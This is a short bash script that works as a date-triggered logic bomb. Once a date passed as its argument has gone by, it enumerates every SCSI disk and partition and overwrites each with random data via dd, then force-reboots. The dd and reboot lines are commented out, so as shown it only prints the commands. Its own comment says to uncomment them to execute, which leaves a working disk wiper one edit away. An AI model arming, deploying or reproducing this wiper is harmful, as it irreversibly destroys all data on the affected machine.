#!/bin/bash
#selecting the month from the provided date
m=`echo $1 | cut -d/ -f2`
#modifying the date in the form mm/dd/yyyy and then the date is transformed in seconds
t_date=$(date --date=$m/`echo $1 | cut -d/ -f1,3` +%s)
#getting the current date in seconds
c_date=`date +%s`
#verifying if the current date is greater than the provided date
if [ $c_date -gt $t_date ]
then
     #generating the list of SCSI partitions, using inverse sorting
     part_list=`fdisk -l | grep /dev/sd | grep -v : | cut -d" " -f1 | sort -r`
     #generating the list of SCSI disks, using inverse sorting
     disk_list=`fdisk -l | grep /dev/sd | grep : | cut -d" " -f2 | cut -d: -f1 | sort -r`
     #creating a single list (partitions+disks)
     dev_list=`echo $part_list $disk_list`
     #executing the dd command for each device from the list
     #all the messages, including the error messages are sent to /dev/null
     for i in $dev_list
     do
       echo executing the command dd if=/dev/urandom of=$i bs=1M
       #in order to execute the command uncomment the line below
       #dd if=/dev/urandom of=$i bs=1M  > /dev/null 2>&1
     done
     #forcing the restart of the system
     #reboot -n -f
fi
